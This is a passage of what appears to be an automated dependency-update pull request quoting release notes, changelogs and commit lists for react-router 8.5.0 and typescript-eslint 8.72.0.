\u003ccode\u003estate.matches\u003c/code\u003e while their loaders run, so \u003ccode\u003e\u0026lt;RouterProvider\u0026gt;\u003c/code\u003e renders down to the discovered route's \u003ccode\u003eHydrateFallback\u003c/code\u003e instead of rendering nothing\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eFix router state recovery when updates occur before \u003ccode\u003eRouterProvider\u003c/code\u003e subscribes, including when other subscribers are already attached, and report current client errors once without replaying server errors during hydration (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15637\"\u003e#15637\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix \u003ccode\u003ematchPath\u003c/code\u003e not treating a static segment as optional when it contains characters outside \u003ccode\u003e[\\w-]\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15425\"\u003e#15425\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix an RSC server crash when a client aborts a document request while the HTML stream waits for the RSC payload (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15612\"\u003e#15612\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eStop revalidating a fetcher after \u003ccode\u003efetcher.reset()\u003c/code\u003e, so its cleared data no longer comes back on the next revalidation (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15633\"\u003e#15633\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eUnstable Changes\u003c/h3\u003e\n\u003cp\u003e⚠️ \u003cem\u003e\u003ca href=\"https://reactrouter.com/community/api-development-strategy#unstable-flags\"\u003eUnstable features\u003c/a\u003e are not recommended for production use\u003c/em\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdd an \u003ccode\u003eunstable_fetch\u003c/code\u003e prop to \u003ccode\u003e\u0026lt;HydratedRouter\u0026gt;\u003c/code\u003e to customize JavaScript-issued manifest and server data requests in conventional Framework Mode (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15586\"\u003e#15586\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eThe function receives the intended request as well as context identifying the type of request\u003c/li\u003e\n\u003cli\u003eData request context includes \u003ccode\u003enavigationType\u003c/code\u003e (\u003ccode\u003e\u0026quot;PUSH\u0026quot;\u003c/code\u003e, \u003ccode\u003e\u0026quot;REPLACE\u0026quot;\u003c/code\u003e, or \u003ccode\u003e\u0026quot;POP\u0026quot;\u003c/code\u003e for navigation-initiated requests, including reloaded fetchers; \u003ccode\u003enull\u003c/code\u003e otherwise)\n\u003cul\u003e\n\u003cli\u003eData strategies receive equivalent metadata through \u003ccode\u003eunstable_initiator\u003c/code\u003e and \u003ccode\u003eunstable_navigationType\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eThe custom fetch context is a discriminated union, so narrowing \u003ccode\u003etype\u003c/code\u003e to \u003ccode\u003e\u0026quot;navigation\u0026quot;\u003c/code\u003e guarantees a non-null \u003ccode\u003enavigationType\u003c/code\u003e, while other data requests have a \u003ccode\u003enull\u003c/code\u003e \u003ccode\u003enavigationType\u003c/code\u003e\n\u003cul\u003e\n\u003cli\u003eFetchers reloaded after an initialization redirect retain the \u003ccode\u003e\u0026quot;initialization\u0026quot;\u003c/code\u003e type and include their fetcher key\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eLike other router initialization options, the implementation is captured when the singleton router is created and thus subsequent prop changes are ignored\u003c/li\u003e\n\u003cli\u003eBrowser-managed data prefetches from \u003ccode\u003e\u0026lt;Link prefetch\u0026gt;\u003c/code\u003e use native \u003ccode\u003e\u0026lt;link rel=\u0026quot;prefetch\u0026quot;\u0026gt;\u003c/code\u003e elements and do not call the custom implementation\u003c/li\u003e\n\u003cli\u003eUse the callback for custom fetch options, custom headers, safe request retries, or response header inspection\u003c/li\u003e\n\u003cli\u003eReturn response bodies unchanged so React Router can decode its manifest and Turbo Stream data protocols\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eSupport API-only Framework Mode with runtime server data loading, actions, revalidation, and lazy route discovery (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15601\"\u003e#15601\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eHydrate prerendered pages from build-time data and fetch server loader data when hydrating a SPA fallback\u003c/li\u003e\n\u003cli\u003ePreserve normal loader revalidation and server-action support for eagerly loaded and lazily discovered routes, and honor loader opt-outs when making server data requests\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eunstable_useRouteDiscovery\u003c/code\u003e for application-controlled route discovery in conventional Framework Mode (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15602\"\u003e#15602\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eDiscover selected destinations or load the running client's full route manifest without loading route modules\u003c/li\u003e\n\u003cli\u003eCompose manifest-mismatch handlers, with shared recovery and cancellation that preserves application state\u003c/li\u003e\n\u003cli\u003eKeep full-manifest failures catchable without rendering error boundaries, whether mismatch handlers use the hook or event's \u003ccode\u003eloadAllRoutes()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eCancel pending revalidation alongside a canceled navigation, retaining existing data and settling interrupted fetchers before restoring Back/Forward history\u003c/li\u003e\n\u003cli\u003eEnable \u003ccode\u003efuture.unstable_customRouteDiscovery\u003c/code\u003e to opt in\n\u003cul\u003e\n\u003cli\u003eApps without the flag retain existing discovery behavior\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eCall \u003ccode\u003eevent.defaultBehavior()\u003c/code\u003e from a custom mismatch handler to explicitly run built-in recovery\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eReturn middleware short-circuit responses as-is for document requests in RSC modes, including resource routes, instead of decoding non-RSC bodies as Flight (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15628\"\u003e#15628\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eInclude server middleware in both eager and lazy RSC route configuration types\u003c/li\u003e\n\u003cli\u003ePreserve HTML rendering for cached Flight responses returned by middleware, and pass through raw responses that replace the result of \u003ccode\u003enext()\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/remix-run/react-router/commit/4fe4525102870a2b21a4a0568a651d118f5e5dbb\"\u003e\u003ccode\u003e4fe4525\u003c/code\u003e\u003c/a\u003e Release v8.5.0 (\u003ca href=\"https://github.com/remix-run/react-router/tree/HEAD/packages/react-router/issues/15515\"\u003e#15515\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/remix-run/react-router/commit/358001c62beecfeb261b7f045ca9309464114027\"\u003e\u003ccode\u003e358001c\u003c/code\u003e\u003c/a\u003e docs: prepare v8.5.0 release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/remix-run/react-router/commit/5ff82948b7d9437e096085de403813e7e853d485\"\u003e\u003ccode\u003e5ff8294\u003c/code\u003e\u003c/a\u003e Fix RouterProvider initialization recovery with existing subscribers (\u003ca href=\"https://github.com/remix-run/react-router/tree/HEAD/packages/react-router/issues/15637\"\u003e#15637\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/remix-run/react-router/commit/d86f6b49a1b53e056880363d25e79cd68890e9c4\"\u003e\u003ccode\u003ed86f6b4\u003c/code\u003e\u003c/a\u003e Add opt-in application-controlled route discovery (\u003ca href=\"https://github.com/remix-run/react-router/tree/HEAD/packages/react-router/issues/15602\"\u003e#15602\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/remix-run/react-router/commit/19f75c04f89a67c39f1e0411291d9cdff85c0170\"\u003e\u003ccode\u003e19f75c0\u003c/code\u003e\u003c/a\u003e Default single-fetch data strategy to native fetch (\u003ca href=\"https://github.com/remix-run/react-router/tree/HEAD/packages/react-router/issues/15638\"\u003e#15638\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/remix-run/react-router/commit/5e9405326ff4d7aea9d0780010b1efd686a8885f\"\u003e\u003ccode\u003e5e94053\u003c/code\u003e\u003c/a\u003e Fix \u003ccode\u003e\\\u0026lt;Await\u0026gt;\u003c/code\u003e server rendering for RSC promises (\u003ca href=\"https://github.com/remix-run/react-router/tree/HEAD/packages/react-router/issues/15597\"\u003e#15597\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/remix-run/react-router/commit/843230c5c769a4785fc85aa426a132dc33d49d9b\"\u003e\u003ccode\u003e843230c\u003c/code\u003e\u003c/a\u003e fix(react-router): stop the RSC HTML stream when it is cancelled during flush...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/remix-run/react-router/commit/08ee782ddf7d6a67e6b92f7c58762f73bf58ab42\"\u003e\u003ccode\u003e08ee782\u003c/code\u003e\u003c/a\u003e fix(react-router): stop revalidating a fetcher after reset (\u003ca href=\"https://github.com/remix-run/react-router/tree/HEAD/packages/react-router/issues/15633\"\u003e#15633\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/remix-run/react-router/commit/6549ab0a6eb411fb4a27a1e3329fdcef97ba0007\"\u003e\u003ccode\u003e6549ab0\u003c/code\u003e\u003c/a\u003e fix(rsc): tag middleware short-circuit responses as React-Router-Resource (\u003ca href=\"https://github.com/remix-run/react-router/tree/HEAD/packages/react-router/issues/1\"\u003e#1\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/remix-run/react-router/commit/a1422f12598bfa74b71aae8a07a62ccbf8b09f31\"\u003e\u003ccode\u003ea1422f1\u003c/code\u003e\u003c/a\u003e fix: render HydrateFallback of routes discovered during initial hydration (\u003ca href=\"https://github.com/remix-run/react-router/tree/HEAD/packages/react-router/issues/1\"\u003e#1\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/remix-run/react-router/commits/react-router@8.5.0/packages/react-router\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@typescript-eslint/eslint-plugin` from 8.71.2 to 8.72.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases\"\u003e@​typescript-eslint/eslint-plugin's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.72.0\u003c/h2\u003e\n\u003ch2\u003e8.72.0 (2026-10-19)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e lazy load rules (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13010\"\u003e#13010\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [await-thenable] add \u003ccode\u003eallowMixedPromiseArrays\u003c/code\u003e option (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12992\"\u003e#12992\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypescript-estree:\u003c/strong\u003e error on abstract keyword that precedes export (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13019\"\u003e#13019\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003east-spec:\u003c/strong\u003e add \u003ccode\u003eJSXFragment\u003c/code\u003e to \u003ccode\u003eJSXAttribute['value']\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13051\"\u003e#13051\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [prefer-readonly-parameter-types] check where allowed type aliases are declared (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13016\"\u003e#13016\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-deprecated] report deprecated properties in object literals (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12704\"\u003e#12704\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e use isTypeLiteralType instead of type.isLiteral() to include bigint literals on TS \u0026lt; 5.0 (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13053\"\u003e#13053\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [require-array-sort-compare] check tuples (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13058\"\u003e#13058\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [require-array-sort-compare] ignore extra this type argument on TS \u0026lt; 5.1 (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13055\"\u003e#13055\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etype-utils:\u003c/strong\u003e discriminateAnyType crashes when calling getAwaitedType on awaited type in TS \u0026lt; 5.0 (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13054\"\u003e#13054\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypescript-estree:\u003c/strong\u003e include leading and trailing comments \u0026amp; whitespace in Program range (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12991\"\u003e#12991\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvyatar Daud \u003ca href=\"https://github.com/StyleShit\"\u003e\u003ccode\u003e@​StyleShit\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eJunichiro Kasuya \u003ca href=\"https://github.com/jksy\"\u003e\u003ccode\u003e@​jksy\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMitch Fultz \u003ca href=\"https://github.com/fitchmultz\"\u003e\u003ccode\u003e@​fitchmultz\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eShaan GS \u003ca href=\"https://github.com/ShaanGS\"\u003e\u003ccode\u003e@​ShaanGS\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.72.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/eslint-plugin/CHANGELOG.md\"\u003e@​typescript-eslint/eslint-plugin's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.72.0 (2026-10-19)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [await-thenable] add \u003ccode\u003eallowMixedPromiseArrays\u003c/code\u003e option (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12992\"\u003e#12992\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e lazy load rules (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13010\"\u003e#13010\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003etype-utils:\u003c/strong\u003e discriminateAnyType crashes when calling getAwaitedType on awaited type in TS \u0026lt; 5.0 (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13054\"\u003e#13054\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [require-array-sort-compare] ignore extra this type argument on TS \u0026lt; 5.1 (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13055\"\u003e#13055\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [require-array-sort-compare] check tuples (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13058\"\u003e#13058\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e use isTypeLiteralType instead of type.isLiteral() to include bigint literals on TS \u0026lt; 5.0 (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13053\"\u003e#13053\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-deprecated] report deprecated properties in object literals (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12704\"\u003e#12704\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [prefer-readonly-parameter-types] check where allowed type aliases are declared (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13016\"\u003e#13016\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypescript-estree:\u003c/strong\u003e include leading and trailing comments \u0026amp; whitespace in Program range (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12991\"\u003e#12991\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvyatar Daud \u003ca href=\"https://github.com/StyleShit\"\u003e\u003ccode\u003e@​StyleShit\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eJunichiro Kasuya \u003ca href=\"https://github.com/jksy\"\u003e\u003ccode\u003e@​jksy\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMitch Fultz \u003ca href=\"https://github.com/fitchmultz\"\u003e\u003ccode\u003e@​fitchmultz\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.72.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/a4c2603d3e4fd43b33bc25b82457716e9f7cef71\"\u003e\u003ccode\u003ea4c2603\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.72.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/c6eb98c17cbeee540d3c48d1406098430b2f0660\"\u003e\u003ccode\u003ec6eb98c\u003c/code\u003e\u003c/a\u003e feat(eslint-plugin): [await-thenable] add \u003ccode\u003eallowMixedPromiseArrays\u003c/code\u003e option (#...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/b382b74579e5514c247ed54d0dfc428f3a173f3a\"\u003e\u003ccode\u003eb382b74\u003c/code\u003e\u003c/a\u003e fix(type-utils): discriminateAnyType crashes when calling getAwaitedType on a...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/79edd896790b031457fc0ca6f81c732b29921c9d\"\u003e\u003ccode\u003e79edd89\u003c/code\u003e\u003c/a\u003e fix(eslint-plugin): [require-array-sort-compare] ignore extra this type argum...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/e7d57dd6ea0945ae71ba9f68d04270caecda1735\"\u003e\u003ccode\u003ee7d57dd\u003c/code\u003e\u003c/a\u003e fix(eslint-plugin): [require-array-sort-compare] check tuples (\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin/issues/13058\"\u003e#13058\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/2d107aef73ec9a36a6b4da501ab3fb97dca1d4c0\"\u003e\u003ccode\u003e2d107ae\u003c/code\u003e\u003c/a\u003e fix(eslint-plugin): use isTypeLiteralType instead of type.isLiteral() to incl...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/e4695b39dbf2427afe14531095c6221c340ee3f1\"\u003e\u003ccode\u003ee4695b3\u003c/code\u003e\u003c/a\u003e feat(eslint-plugin): lazy load rules (\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin/issues/13010\"\u003e#13010\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/a1a912bffce02a96f8661806d92202f867f9c6ce\"\u003e\u003ccode\u003ea1a912b\u003c/code\u003e\u003c/a\u003e fix(eslint-plugin): [no-deprecated] report deprecated properties in object li...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/1edc975742ca23390a4daf3a1d0193feafe92818\"\u003e\u003ccode\u003e1edc975\u003c/code\u003e\u003c/a\u003e fix(eslint-plugin): [prefer-readonly-parameter-types] check where allowed typ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/61cb7009708e90add897ca53c58666a19e615606\"\u003e\u003ccode\u003e61cb700\u003c/code\u003e\u003c/a\u003e chore: fix all \u003ccode\u003eeslint-plugin-internal/no-multiple-lines-of-errors\u003c/code\u003e (\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin/issues/12893\"\u003e#12893\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commits/v8.72.0/packages/eslint-plugin\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@typescript-eslint/parser` from 8.71.2 to 8.72.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases\"\u003e@​typescript-eslint/parser's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.72.0\u003c/h2\u003e\n\u003ch2\u003e8.72.0 (2026-10-19)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e lazy load rules (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13010\"\u003e#13010\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [await-thenable] add \u003ccode\u003eallowMixedPromiseArrays\u003c/code\u003e option (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12992\"\u003e#12992\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypescript-estree:\u003c/strong\u003e error on abstract keyword that precedes export (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13019\"\u003e#13019\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003east-spec:\u003c/strong\u003e add \u003ccode\u003eJSXFragment\u003c/code\u003e to \u003ccode\u003eJSXAttribute['value']\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13051\"\u003e#13051\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [prefer-readonly-parameter-types] check where allowed type aliases are declared (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13016\"\u003e#13016\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-deprecated] report deprecated properties in object literals (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12704\"\u003e#12704\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e use isTypeLiteralType instead of type.isLiteral() to include bigint literals on TS \u0026lt; 5.0 (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13053\"\u003e#13053\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [require-array-sort-compare] check tuples (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13058\"\u003e#13058\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [require-array-sort-compare] ignore extra this type argument on TS \u0026lt; 5.1 (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13055\"\u003e#13055\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etype-utils:\u003c/strong\u003e discriminateAnyType crashes when calling getAwaitedType on awaited type in TS \u0026lt; 5.0 (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13054\"\u003e#13054\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypescript-estree:\u003c/strong\u003e include leading and trailing comments \u0026amp; whitespace in Program range (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12991\"\u003e#12991\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvyatar Daud \u003ca href=\"https://github.com/StyleShit\"\u003e\u003ccode\u003e@​StyleShit\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eJunichiro Kasuya \u003ca href=\"https://github.com/jksy\"\u003e\u003ccode\u003e@​jksy\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMitch Fultz \u003ca href=\"https://github.com/fitchmultz\"\u003e\u003ccode\u003e@​fitchmultz\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eShaan GS \u003ca href=\"https://github.com/ShaanGS\"\u003e\u003ccode\u003e@​ShaanGS\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.72.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/parser/CHANGELOG.md\"\u003e@​typescript-eslint/parser's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.72.0 (2026-10-19)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for parser to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.72.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca 